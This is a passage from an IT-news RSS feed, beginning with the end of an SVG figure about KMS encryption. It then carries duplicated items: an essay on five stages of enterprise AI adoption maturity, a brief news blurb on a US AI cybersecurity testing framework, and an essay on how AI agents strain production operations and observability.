<text text-anchor="middle" x="480" y="164" fill="currentColor">6</text>
<text text-anchor="middle" x="480" y="180" fill="currentColor">4</text>
<text text-anchor="middle" x="480" y="196" fill="currentColor">2</text>
<text text-anchor="middle" x="480" y="212" fill="currentColor">)</text>
<text text-anchor="middle" x="480" y="228" fill="currentColor">B</text>
<text text-anchor="middle" x="480" y="244" fill="currentColor">B</text>
<text text-anchor="middle" x="480" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="488" y="148" fill="currentColor">B</text>
<text text-anchor="middle" x="488" y="164" fill="currentColor">B</text>
<text text-anchor="middle" x="488" y="180" fill="currentColor">B</text>
<text text-anchor="middle" x="488" y="196" fill="currentColor">5</text>
<text text-anchor="middle" x="488" y="340" fill="currentColor">i</text>
<text text-anchor="middle" x="496" y="116" fill="currentColor">v</text>
<text text-anchor="middle" x="496" y="196" fill="currentColor">6</text>
<text text-anchor="middle" x="496" y="340" fill="currentColor">a</text>
<text text-anchor="middle" x="504" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="504" y="148" fill="currentColor">w</text>
<text text-anchor="middle" x="504" y="164" fill="currentColor">w</text>
<text text-anchor="middle" x="504" y="180" fill="currentColor">w</text>
<text text-anchor="middle" x="504" y="196" fill="currentColor">)</text>
<text text-anchor="middle" x="504" y="340" fill="currentColor">l</text>
<text text-anchor="middle" x="512" y="116" fill="currentColor">r</text>
<text text-anchor="middle" x="512" y="148" fill="currentColor">/</text>
<text text-anchor="middle" x="512" y="164" fill="currentColor">/</text>
<text text-anchor="middle" x="512" y="180" fill="currentColor">/</text>
<text text-anchor="middle" x="520" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="528" y="116" fill="currentColor">f</text>
<text text-anchor="middle" x="528" y="148" fill="currentColor">R</text>
<text text-anchor="middle" x="528" y="164" fill="currentColor">R</text>
<text text-anchor="middle" x="528" y="180" fill="currentColor">R</text>
<text text-anchor="middle" x="536" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="536" y="148" fill="currentColor">S</text>
<text text-anchor="middle" x="536" y="164" fill="currentColor">S</text>
<text text-anchor="middle" x="536" y="180" fill="currentColor">S</text>
<text text-anchor="middle" x="544" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="544" y="148" fill="currentColor">A</text>
<text text-anchor="middle" x="544" y="164" fill="currentColor">A</text>
<text text-anchor="middle" x="544" y="180" fill="currentColor">A</text>
<text text-anchor="middle" x="552" y="116" fill="currentColor">d</text>
<text text-anchor="middle" x="552" y="148" fill="currentColor">-</text>
<text text-anchor="middle" x="552" y="164" fill="currentColor">-</text>
<text text-anchor="middle" x="552" y="180" fill="currentColor">-</text>
<text text-anchor="middle" x="560" y="148" fill="currentColor">2</text>
<text text-anchor="middle" x="560" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="560" y="180" fill="currentColor">2</text>
<text text-anchor="middle" x="568" y="148" fill="currentColor">0</text>
<text text-anchor="middle" x="568" y="164" fill="currentColor">0</text>
<text text-anchor="middle" x="568" y="180" fill="currentColor">0</text>
<text text-anchor="middle" x="576" y="148" fill="currentColor">4</text>
<text text-anchor="middle" x="576" y="164" fill="currentColor">4</text>
<text text-anchor="middle" x="576" y="180" fill="currentColor">4</text>
<text text-anchor="middle" x="584" y="148" fill="currentColor">8</text>
<text text-anchor="middle" x="584" y="164" fill="currentColor">8</text>
<text text-anchor="middle" x="584" y="180" fill="currentColor">8</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 13: KMS CiphertextForRecipient. Note the use of AES-CBC.</span></figcaption></figure>]]></content:encoded>
</item>
<item>
<title><![CDATA[The 5 stages of AI adoption maturity: Where businesses create real value]]></title>
<description><![CDATA[Most enterprises are rushing toward autonomous AI. They shouldn’t. Autonomy you haven’t earned doesn’t speed you up. In fact, it slows you down.



Here’s what I’ve moved our organization toward: a five-stage set of AI adoption maturity benchmarks. It’s a practical framework for understanding whe...]]></description>
<link>https://tsecurity.de/de/3705650/it-security-nachrichten/the-5-stages-of-ai-adoption-maturity-where-businesses-create-real-value/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705650/it-security-nachrichten/the-5-stages-of-ai-adoption-maturity-where-businesses-create-real-value/</guid>
<pubDate>Wed, 05 Aug 2026 13:50:10 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Most enterprises are rushing toward autonomous AI. They shouldn’t. Autonomy you haven’t earned doesn’t speed you up. In fact, it slows you down.</p>



<p class="wp-block-paragraph">Here’s what I’ve moved our organization toward: a five-stage set of AI adoption maturity benchmarks. It’s a practical framework for understanding where employee development, decision-making and business value intersect. Each stage provides value for your organization. Some roles and functions may only ever reach Stage 1 or 2, while others should be fast-tracked to Stage 5. By understanding this progression, leadership can stop viewing AI as a tool for task delegation and treat it as a catalyst for developing stronger, more decisive and more valuable teams.</p>



<h2 class="wp-block-heading">Stage 1: Research assistance</h2>



<p class="wp-block-paragraph">You hand people a premium ChatGPT account. Employees stop Googling and start prompting. Their experience improves: no ads, paragraph-form answers instead of blue links. But the underlying dynamic hasn’t changed. Output quality depends on input quality. A vague Google search returns a mess of links. A vague ChatGPT prompt returns a well-formatted mess of paragraphs. If your team didn’t know how to ask a precise question before, they still don’t.<br>           <br>The real danger at Stage 1 isn’t the bad answers – it’s the <a href="https://link.springer.com/article/10.3758/s13421-025-01755-4">confident-sounding</a> ones. A hallucinated statistic arrives in the same calm, authoritative prose as an accurate one. Teams that don’t verify sources in Google don’t suddenly fact-check ChatGPT. Before moving to Stage 2, your team needs to develop the instinct to ask, “How do I know this is true?”</p>



<h2 class="wp-block-heading">Stage 2: Task assistance</h2>



<p class="wp-block-paragraph">The next stage uses AI tools to complete tasks. It starts simply: “I need to write this email,” or “Make a spreadsheet to track open items.”</p>



<p class="wp-block-paragraph">The average employee takes what AI produces and passes it off without revision. At best, their efforts pass muster, with only a dash of <a href="https://hbr.org/2025/09/ai-generated-workslop-is-destroying-productivity">workslop</a>. At worst, the flood of unchecked AI outputs creates rework for teammates and clients.</p>



<p class="wp-block-paragraph">Another employee further along in Stage 2 may augment what AI produces. That impulse serves them well. But if they default to editing AI output rather than dictating the rules for what AI should produce, they can easily spend more time editing AI’s work than creating work from scratch.</p>



<p class="wp-block-paragraph">For employees whose work will largely remain in Stage 2, the focus should be on writing more precise prompts. The instinct to edit AI output isn’t wrong. The problem arises when the prompt is a rough starting point rather than a detailed spec. AI cares that your instructions are clear, specific and unambiguous. Get the spec right up front.</p>



<h2 class="wp-block-heading">Stage 3: Workflow integration</h2>



<p class="wp-block-paragraph">My daughter’s class recently had an assignment: write a paper on the causes of the Civil War.</p>



<p class="wp-block-paragraph">Her teacher knew what was going to happen. Every 11-year-old would go home and use ChatGPT to write a five-paragraph essay. So, she changed the exercise. The class generated and printed out the essay. Then, the teacher explained how to annotate, how to ask follow-up questions and how to revise in ChatGPT using the marked-up draft.<br><br>The same three-step sequence — assemble context, build the prompt, edit hard — applies when someone writes a post-mortem. The temptation is to skip straight to the draft. Pull the incident data, ask Gemini for a timeline and root cause analysis, clean it up, get a quick peer review and send it.<br><br>An engineer working at Stage 3 does what the teacher did. First, they assemble context: the Slack thread where someone flagged the anomaly two hours before the alert fired, the Jira ticket, the gap in monitoring that nobody documented. Then they build a prompt that reflects the full context and generate a draft. Now the red pen comes out: push back on the root cause analysis, add the institutional context Gemini couldn’t know, tighten the remediation steps until they’re actionable.</p>



<p class="wp-block-paragraph">The result is a better document — and an engineer who understands what failed and builds a better repeatable process. Saving time on a first draft is a fine side effect. The goal is to produce a final draft that’s worthy of review.</p>



<h2 class="wp-block-heading">Stage 4: Guided automation</h2>



<p class="wp-block-paragraph">The fourth stage is where collaboration becomes self-sustaining. You’re no longer asking AI to help you do a task. You’re asking it to run the task and surface the decisions that require your judgment.</p>



<p class="wp-block-paragraph">My LinkedIn workflow is a good example of what this looks like in practice.</p>



<p class="wp-block-paragraph">A couple of years ago, I would read an article, develop a point of view, write two or three paragraphs and publish. Not bad, but dependent on me having the time and cognitive bandwidth.</p>



<p class="wp-block-paragraph">The friction was the 15 decisions that came before drafting: Which angle is worth pursuing? Does this use my voice? Have I said this before?</p>



<p class="wp-block-paragraph">So, I started researching my patterns. First, I fed Claude my prior LinkedIn posts and prompted it to analyze my tone, sentence patterns and structural habits. I didn’t ask it to “describe my voice” – that gets you a paragraph of flattering generalities. This analysis became the base layer of the tool.</p>



<p class="wp-block-paragraph">Then I added a second layer: LinkedIn-specific rules and AI writing patterns to avoid. That context got embedded alongside the voice analysis.</p>



<p class="wp-block-paragraph">Now the workflow runs like this. I click a link, save the article, highlight and annotate the sections that interest me. My Claude Managed Agent picks up the annotation, infers what I found worth engaging with and writes four drafts with meaningfully different angles on the source material. It compares each draft against my post history and proposes two. I read the proposals, pick one, edit and authorize publication with Buffer.<br><br>The automation didn’t remove my judgment from the process. It freed me from work that didn’t depend on judgment. Now I do the work that matters: deciding what to say, identifying patterns and sharing my point of view.</p>



<p class="wp-block-paragraph">That shift in what I’m accountable for is where the ROI changes. The value isn’t in the time saved on any single post. It’s that the workflow no longer depends on me having the bandwidth to start from zero. The capacity was always there; the system makes it consistent and repeatable.</p>



<h2 class="wp-block-heading">Stage 5: Full automation</h2>



<p class="wp-block-paragraph">The most advanced stage of maturity is when the system largely runs on its own. You’re no longer managing step-by-step actions; you’re defining goals, setting guardrails and measuring outcomes.</p>



<p class="wp-block-paragraph">We have one running in our engineering org right now. When a ticket gets escalated from our support team to engineering, the agent triages it and routes it to the team responsible for the fix. When an engineering manager reassigns the ticket – because the routing was wrong – the agent picks up that correction, feeds it back into its prompt tooling and updates its model of who owns what. We’re now extending it further: the agent is learning which parts of the codebase need to change and which engineers are likely to own the fix.</p>



<p class="wp-block-paragraph">There’s a critical catch: this stage only works if you’ve earned your way there. We learned this firsthand. When we first rolled out the routing agent, we used a static map of application areas to engineering teams and assumed that was enough. It wasn’t. We couldn’t reliably distinguish front-end bugs from back-end ones, so the front-end team kept getting tickets caused by a misbehaving API. Features were split between teams in ways the map didn’t capture — one team owned exports, another owned reports. Before the routing could work, the knowledge had to exist somewhere it could be used. An autonomous system is only as good as the foundation beneath it – the clarity of your workflows, the health of your data, the alignment of your teams. Deploy an autonomous agent into a broken process and you get bad results at scale. You cannot safely delegate what you don’t fully understand.</p>



<p class="wp-block-paragraph">This is why racing straight to Stage 5 often fails. You need to know what “good” output looks like (Stages 2 and 3) and how to orchestrate the pieces (Stage 4) before you can confidently take your hands off the wheel.</p>



<h2 class="wp-block-heading">Where business value emerges</h2>



<p class="wp-block-paragraph">The evolution from a premium search engine to an autonomous system is an organizational challenge, not a technology one. Realizing the <a href="https://www.cio.com/article/4157498/kpmg-report-finds-enterprise-disconnect-between-ai-and-its-roi.html">value of AI</a> is determined not by the sophistication of the underlying model, but by the maturity of the team wielding it.</p>



<p class="wp-block-paragraph">The practical move isn’t to audit your whole organization’s AI readiness. Start with one workflow. Push it one stage higher. Measure what changes. That’s how you find out if this matters in your specific context – not in theory, but in the work your team actually does.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The 5 stages of AI adoption maturity: Where businesses create real value]]></title>
<description><![CDATA[Most enterprises are rushing toward autonomous AI. They shouldn’t. Autonomy you haven’t earned doesn’t speed you up. In fact, it slows you down.



Here’s what I’ve moved our organization toward: a five-stage set of AI adoption maturity benchmarks. It’s a practical framework for understanding whe...]]></description>
<link>https://tsecurity.de/de/3705636/it-nachrichten/the-5-stages-of-ai-adoption-maturity-where-businesses-create-real-value/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705636/it-nachrichten/the-5-stages-of-ai-adoption-maturity-where-businesses-create-real-value/</guid>
<pubDate>Wed, 05 Aug 2026 13:48:35 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Most enterprises are rushing toward autonomous AI. They shouldn’t. Autonomy you haven’t earned doesn’t speed you up. In fact, it slows you down.</p>



<p class="wp-block-paragraph">Here’s what I’ve moved our organization toward: a five-stage set of AI adoption maturity benchmarks. It’s a practical framework for understanding where employee development, decision-making and business value intersect. Each stage provides value for your organization. Some roles and functions may only ever reach Stage 1 or 2, while others should be fast-tracked to Stage 5. By understanding this progression, leadership can stop viewing AI as a tool for task delegation and treat it as a catalyst for developing stronger, more decisive and more valuable teams.</p>



<h2 class="wp-block-heading">Stage 1: Research assistance</h2>



<p class="wp-block-paragraph">You hand people a premium ChatGPT account. Employees stop Googling and start prompting. Their experience improves: no ads, paragraph-form answers instead of blue links. But the underlying dynamic hasn’t changed. Output quality depends on input quality. A vague Google search returns a mess of links. A vague ChatGPT prompt returns a well-formatted mess of paragraphs. If your team didn’t know how to ask a precise question before, they still don’t.<br>           <br>The real danger at Stage 1 isn’t the bad answers – it’s the <a href="https://link.springer.com/article/10.3758/s13421-025-01755-4">confident-sounding</a> ones. A hallucinated statistic arrives in the same calm, authoritative prose as an accurate one. Teams that don’t verify sources in Google don’t suddenly fact-check ChatGPT. Before moving to Stage 2, your team needs to develop the instinct to ask, “How do I know this is true?”</p>



<h2 class="wp-block-heading">Stage 2: Task assistance</h2>



<p class="wp-block-paragraph">The next stage uses AI tools to complete tasks. It starts simply: “I need to write this email,” or “Make a spreadsheet to track open items.”</p>



<p class="wp-block-paragraph">The average employee takes what AI produces and passes it off without revision. At best, their efforts pass muster, with only a dash of <a href="https://hbr.org/2025/09/ai-generated-workslop-is-destroying-productivity">workslop</a>. At worst, the flood of unchecked AI outputs creates rework for teammates and clients.</p>



<p class="wp-block-paragraph">Another employee further along in Stage 2 may augment what AI produces. That impulse serves them well. But if they default to editing AI output rather than dictating the rules for what AI should produce, they can easily spend more time editing AI’s work than creating work from scratch.</p>



<p class="wp-block-paragraph">For employees whose work will largely remain in Stage 2, the focus should be on writing more precise prompts. The instinct to edit AI output isn’t wrong. The problem arises when the prompt is a rough starting point rather than a detailed spec. AI cares that your instructions are clear, specific and unambiguous. Get the spec right up front.</p>



<h2 class="wp-block-heading">Stage 3: Workflow integration</h2>



<p class="wp-block-paragraph">My daughter’s class recently had an assignment: write a paper on the causes of the Civil War.</p>



<p class="wp-block-paragraph">Her teacher knew what was going to happen. Every 11-year-old would go home and use ChatGPT to write a five-paragraph essay. So, she changed the exercise. The class generated and printed out the essay. Then, the teacher explained how to annotate, how to ask follow-up questions and how to revise in ChatGPT using the marked-up draft.<br><br>The same three-step sequence — assemble context, build the prompt, edit hard — applies when someone writes a post-mortem. The temptation is to skip straight to the draft. Pull the incident data, ask Gemini for a timeline and root cause analysis, clean it up, get a quick peer review and send it.<br><br>An engineer working at Stage 3 does what the teacher did. First, they assemble context: the Slack thread where someone flagged the anomaly two hours before the alert fired, the Jira ticket, the gap in monitoring that nobody documented. Then they build a prompt that reflects the full context and generate a draft. Now the red pen comes out: push back on the root cause analysis, add the institutional context Gemini couldn’t know, tighten the remediation steps until they’re actionable.</p>



<p class="wp-block-paragraph">The result is a better document — and an engineer who understands what failed and builds a better repeatable process. Saving time on a first draft is a fine side effect. The goal is to produce a final draft that’s worthy of review.</p>



<h2 class="wp-block-heading">Stage 4: Guided automation</h2>



<p class="wp-block-paragraph">The fourth stage is where collaboration becomes self-sustaining. You’re no longer asking AI to help you do a task. You’re asking it to run the task and surface the decisions that require your judgment.</p>



<p class="wp-block-paragraph">My LinkedIn workflow is a good example of what this looks like in practice.</p>



<p class="wp-block-paragraph">A couple of years ago, I would read an article, develop a point of view, write two or three paragraphs and publish. Not bad, but dependent on me having the time and cognitive bandwidth.</p>



<p class="wp-block-paragraph">The friction was the 15 decisions that came before drafting: Which angle is worth pursuing? Does this use my voice? Have I said this before?</p>



<p class="wp-block-paragraph">So, I started researching my patterns. First, I fed Claude my prior LinkedIn posts and prompted it to analyze my tone, sentence patterns and structural habits. I didn’t ask it to “describe my voice” – that gets you a paragraph of flattering generalities. This analysis became the base layer of the tool.</p>



<p class="wp-block-paragraph">Then I added a second layer: LinkedIn-specific rules and AI writing patterns to avoid. That context got embedded alongside the voice analysis.</p>



<p class="wp-block-paragraph">Now the workflow runs like this. I click a link, save the article, highlight and annotate the sections that interest me. My Claude Managed Agent picks up the annotation, infers what I found worth engaging with and writes four drafts with meaningfully different angles on the source material. It compares each draft against my post history and proposes two. I read the proposals, pick one, edit and authorize publication with Buffer.<br><br>The automation didn’t remove my judgment from the process. It freed me from work that didn’t depend on judgment. Now I do the work that matters: deciding what to say, identifying patterns and sharing my point of view.</p>



<p class="wp-block-paragraph">That shift in what I’m accountable for is where the ROI changes. The value isn’t in the time saved on any single post. It’s that the workflow no longer depends on me having the bandwidth to start from zero. The capacity was always there; the system makes it consistent and repeatable.</p>



<h2 class="wp-block-heading">Stage 5: Full automation</h2>



<p class="wp-block-paragraph">The most advanced stage of maturity is when the system largely runs on its own. You’re no longer managing step-by-step actions; you’re defining goals, setting guardrails and measuring outcomes.</p>



<p class="wp-block-paragraph">We have one running in our engineering org right now. When a ticket gets escalated from our support team to engineering, the agent triages it and routes it to the team responsible for the fix. When an engineering manager reassigns the ticket – because the routing was wrong – the agent picks up that correction, feeds it back into its prompt tooling and updates its model of who owns what. We’re now extending it further: the agent is learning which parts of the codebase need to change and which engineers are likely to own the fix.</p>



<p class="wp-block-paragraph">There’s a critical catch: this stage only works if you’ve earned your way there. We learned this firsthand. When we first rolled out the routing agent, we used a static map of application areas to engineering teams and assumed that was enough. It wasn’t. We couldn’t reliably distinguish front-end bugs from back-end ones, so the front-end team kept getting tickets caused by a misbehaving API. Features were split between teams in ways the map didn’t capture — one team owned exports, another owned reports. Before the routing could work, the knowledge had to exist somewhere it could be used. An autonomous system is only as good as the foundation beneath it – the clarity of your workflows, the health of your data, the alignment of your teams. Deploy an autonomous agent into a broken process and you get bad results at scale. You cannot safely delegate what you don’t fully understand.</p>



<p class="wp-block-paragraph">This is why racing straight to Stage 5 often fails. You need to know what “good” output looks like (Stages 2 and 3) and how to orchestrate the pieces (Stage 4) before you can confidently take your hands off the wheel.</p>



<h2 class="wp-block-heading">Where business value emerges</h2>



<p class="wp-block-paragraph">The evolution from a premium search engine to an autonomous system is an organizational challenge, not a technology one. Realizing the <a href="https://www.cio.com/article/4157498/kpmg-report-finds-enterprise-disconnect-between-ai-and-its-roi.html">value of AI</a> is determined not by the sophistication of the underlying model, but by the maturity of the team wielding it.</p>



<p class="wp-block-paragraph">The practical move isn’t to audit your whole organization’s AI readiness. Start with one workflow. Push it one stage higher. Measure what changes. That’s how you find out if this matters in your specific context – not in theory, but in the work your team actually does.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Trump’s AI testing plan is limited and vague]]></title>
<description><![CDATA[The Trump administration's framework for assessing potential cybersecurity risks posed by advanced AI reportedly has no interest in testing open models. Axios reports that not only do the voluntary guidelines outright exclude open models - meaning anyone can download them and inspect their core c...]]></description>
<link>https://tsecurity.de/de/3705575/it-nachrichten/trumps-ai-testing-plan-is-limited-and-vague/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705575/it-nachrichten/trumps-ai-testing-plan-is-limited-and-vague/</guid>
<pubDate>Wed, 05 Aug 2026 12:40:25 +0200</pubDate>
<content:encoded><![CDATA[The Trump administration's framework for assessing potential cybersecurity risks posed by advanced AI reportedly has no interest in testing open models. Axios reports that not only do the voluntary guidelines outright exclude open models - meaning anyone can download them and inspect their core components - but the framework explicitly says it can't be used […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Trump’s AI testing plan is limited and vague]]></title>
<description><![CDATA[The Trump administration's framework for assessing potential cybersecurity risks posed by advanced AI reportedly has no interest in testing open models. Axios reports that not only do the voluntary guidelines outright exclude open models - meaning anyone can download them and inspect their core c...]]></description>
<link>https://tsecurity.de/de/3705542/ai-nachrichten/trumps-ai-testing-plan-is-limited-and-vague/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705542/ai-nachrichten/trumps-ai-testing-plan-is-limited-and-vague/</guid>
<pubDate>Wed, 05 Aug 2026 12:39:15 +0200</pubDate>
<content:encoded><![CDATA[The Trump administration's framework for assessing potential cybersecurity risks posed by advanced AI reportedly has no interest in testing open models. Axios reports that not only do the voluntary guidelines outright exclude open models - meaning anyone can download them and inspect their core components - but the framework explicitly says it can't be used […]]]></content:encoded>
</item>
<item>
<title><![CDATA[The production assumptions AI just broke]]></title>
<description><![CDATA[Over the past decade, I have worked through multiple technology transitions, from virtualization and cloud adoption to containers and large-scale automation. Each changed how enterprise IT operated, but they all shared one characteristic: production systems still behaved in broadly predictable wa...]]></description>
<link>https://tsecurity.de/de/3705488/it-security-nachrichten/the-production-assumptions-ai-just-broke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705488/it-security-nachrichten/the-production-assumptions-ai-just-broke/</guid>
<pubDate>Wed, 05 Aug 2026 12:14:26 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past decade, I have worked through multiple technology transitions, from virtualization and cloud adoption to containers and large-scale automation. Each changed how enterprise IT operated, but they all shared one characteristic: production systems still behaved in broadly predictable ways. AI is the first shift I have seen that changes the behavior of production itself.</p>



<p class="wp-block-paragraph">In the infrastructure environments I have worked with, production has always depended on a few basic assumptions. Workloads are tied to applications. Applications have owners. Traffic patterns are reasonably predictable. Change windows are planned. Incident response starts with a known service, a known dependency or a known user action.</p>



<p class="wp-block-paragraph">AI agents challenge each one of those assumptions.</p>



<p class="wp-block-paragraph">An AI agent may initiate work without a human clicking a button. It may call APIs at machine speed, move across systems to complete a task, retry failed actions aggressively or generate unusual traffic patterns that look nothing like a traditional application flow. The individual action may be legitimate, but the operational behavior is different.</p>



<p class="wp-block-paragraph">That is the shift CIOs should pay attention to. The question is not only whether AI can be useful in enterprise operations. The harder question is whether production environments are ready for AI-driven activity that behaves less like an application and more like an autonomous participant in the enterprise.</p>



<h2 class="wp-block-heading">Production was built around predictable workloads</h2>



<p class="wp-block-paragraph">For years, production operations have been built around patterns that are easier to manage because they are relatively stable. A user logs in. An application receives a request. A service calls another service. Monitoring tools evaluate latency, errors, saturation and availability. Incident teams look for deviations from known baselines.</p>



<p class="wp-block-paragraph">This model worked because most production systems had a recognizable shape. Even in complex environments, teams could usually identify the application owner, the expected request flow, the normal volume range and the rollback path when something failed.</p>



<p class="wp-block-paragraph">AI workloads do not always behave that way. A single agent completing a business task may generate a burst of API calls, invoke several backend services, open and close sessions quickly and repeat requests in a pattern that looks abnormal when compared with human activity. From a traditional monitoring perspective, this can look like abuse, instability or an integration defect even when the agent is doing exactly what it was asked to do.</p>



<p class="wp-block-paragraph">The opposite problem is just as serious. If teams relax controls broadly to avoid blocking legitimate AI activity, they may also create room for real abuse to hide inside higher-volume machine traffic. That is not a model issue. It is an operational assumption issue.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST AI Risk Management Framework</a> emphasizes that AI risk must be understood across the full lifecycle of AI systems, including design, deployment, use and evaluation. For CIOs, that lifecycle needs to include production operations, not just model selection or application launch.</p>



<p class="wp-block-paragraph">In practice, this means AI cannot be treated as a normal application feature once it begins triggering workflows, touching data, generating traffic or interacting with operational systems. It becomes part of the production environment. That requires a different level of readiness.</p>



<p class="wp-block-paragraph">I have seen similar transitions before with cloud and automation. The first wave is usually tool-focused. Teams ask what the technology can do. The second wave is operational. Teams discover what the technology changes. AI is entering that second phase now.</p>



<h2 class="wp-block-heading">AI changes incident response and observability</h2>



<p class="wp-block-paragraph">When production breaks, teams need to answer a few basic questions quickly. What changed? What system is affected? What users are impacted? Which dependency is failing? Can we roll back safely?</p>



<p class="wp-block-paragraph">AI makes those questions harder because the cause of an incident may not be a code deployment, infrastructure outage or human-initiated workflow. It may be an agent making a decision that is technically allowed but operationally unexpected.</p>



<p class="wp-block-paragraph">For example, an AI-enabled support workflow might retry a failed backend request repeatedly because it is trying to complete a customer task. A human operator may have stopped after one or two failures. The agent may continue until it exhausts a threshold, creates noise across monitoring systems or triggers downstream rate limits. The failure is not that the agent is malicious. The failure is that production systems were not designed to interpret that behavior correctly.</p>



<p class="wp-block-paragraph">This is where observability becomes critical. Traditional dashboards may show traffic growth, error spikes or latency changes, but they may not explain whether the behavior came from a user, application, script, automation job or AI agent. If those categories are not visible, incident response teams are forced to guess.</p>



<p class="wp-block-paragraph">Google’s <a href="https://sre.google/sre-book/monitoring-distributed-systems/">Site Reliability Engineering guidance on monitoring distributed systems</a> is useful because it frames monitoring around symptoms that require action, not just raw system signals. That distinction becomes even more important when AI-driven workflows introduce new behaviors into production.</p>



<p class="wp-block-paragraph">CIOs should expect AI to change what good observability means. It is no longer enough to monitor infrastructure health and application performance. Teams also need visibility into AI-initiated actions, agent-driven traffic patterns, tool usage, retries, failed task loops and dependency chains.</p>



<p class="wp-block-paragraph">The operational question becomes simple: when an AI system causes a production symptom, can the organization trace the action from the agent to the service to the business impact? If the answer is no, AI is already ahead of the operating model.</p>



<p class="wp-block-paragraph">The <a href="https://github.com/cncf/tag-observability/blob/main/whitepaper.md">CNCF observability whitepaper</a> describes observability as a way to understand complex system behavior from external outputs. That idea applies directly here: AI-driven systems will require observability that explains behavior across workflows, not just infrastructure components.</p>



<h2 class="wp-block-heading">Production readiness needs to change before AI scales</h2>



<p class="wp-block-paragraph">The mistake many organizations make is preparing AI for production without preparing production for AI.</p>



<p class="wp-block-paragraph"><em>“The mistake many organizations make is preparing AI for production without preparing production for AI.”</em></p>



<p class="wp-block-paragraph">A pilot can succeed with limited users, narrow workflows and close supervision. Production is different. Production introduces volume, concurrency, exceptions, outages, retries, partial failures, support queues and business pressure. AI agents will encounter all of that, and they will do so at a speed that traditional operational processes may not be ready to absorb.</p>



<p class="wp-block-paragraph">This is why CIOs should treat AI readiness as a production discipline. Before scaling AI-enabled workflows, teams should define what normal AI activity looks like, what abnormal behavior looks like and what evidence is required to troubleshoot the difference. They should know which systems an agent can touch, how agent traffic is labeled, how rate limits apply, how errors are escalated and how failed workflows are stopped.</p>



<p class="wp-block-paragraph">This is not about slowing AI adoption. It is about preventing production from becoming the testing ground for assumptions that were never validated.</p>



<p class="wp-block-paragraph">The 2024 <a href="https://dora.dev/research/2024/dora-report/">DORA Accelerate State of DevOps Report</a> noted that AI can improve individual productivity while also creating tradeoffs for delivery stability and throughput. That is a useful warning for CIOs: productivity gains do not automatically translate into operational maturity.</p>



<p class="wp-block-paragraph">The organizations that will handle this transition well will not be the ones that simply deploy the most AI tools. They will be the ones that adjust production operations early. That means treating AI activity as something to be observed, tested, limited, measured and supported like any other production workload, but with the added recognition that it may behave differently from traditional software.</p>



<p class="wp-block-paragraph">Capacity planning will also need to change. AI workflows may create irregular demand patterns, especially when agents run multi-step tasks across internal systems. A workload that looks small in a pilot can create meaningful load when hundreds or thousands of users trigger agents throughout the day. The cost impact may appear in compute, API calls, storage, logs, monitoring systems or downstream service usage.</p>



<p class="wp-block-paragraph">Change management will need to account for model behavior, prompt updates, tool integrations and workflow changes. A small update to an agent’s instructions may alter how it calls systems, how often it retries, which APIs it uses or how it handles exceptions. In production, that is not merely a content update. It is an operational change.</p>



<p class="wp-block-paragraph">Rollback planning will also need to evolve because reverting an AI-enabled workflow may involve more than restoring application code. It may require disabling agent actions, reverting prompts or temporarily removing tool integrations while preserving business continuity.</p>



<p class="wp-block-paragraph">Incident response will need clearer playbooks. Teams should know how to pause an agent, isolate a workflow, disable a tool integration, reduce task volume or route activity back to human handling when production behavior becomes unsafe or unstable.</p>



<p class="wp-block-paragraph">The larger point is that AI is not just entering the enterprise as another user-facing capability. It is entering the operating fabric of the enterprise. That makes it a CIO concern, not only an AI team concern.</p>



<p class="wp-block-paragraph">Every major technology shift eventually becomes an operational discipline rather than a technology project. AI is reaching that point now. Organizations that recognize this early will be better positioned to scale AI with confidence instead of discovering its operational consequences through production incidents. The next challenge for CIOs is not deploying AI. It is preparing production environments for how AI actually behaves.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The production assumptions AI just broke]]></title>
<description><![CDATA[Over the past decade, I have worked through multiple technology transitions, from virtualization and cloud adoption to containers and large-scale automation. Each changed how enterprise IT operated, but they all shared one characteristic: production systems still behaved in broadly predictable wa...]]></description>
<link>https://tsecurity.de/de/3705479/it-nachrichten/the-production-assumptions-ai-just-broke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705479/it-nachrichten/the-production-assumptions-ai-just-broke/</guid>
<pubDate>Wed, 05 Aug 2026 12:08:20 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past decade, I have worked through multiple technology transitions, from virtualization and cloud adoption to containers and large-scale automation. Each changed how enterprise IT operated, but they all shared one characteristic: production systems still behaved in broadly predictable ways. AI is the first shift I have seen that changes the behavior of production itself.</p>



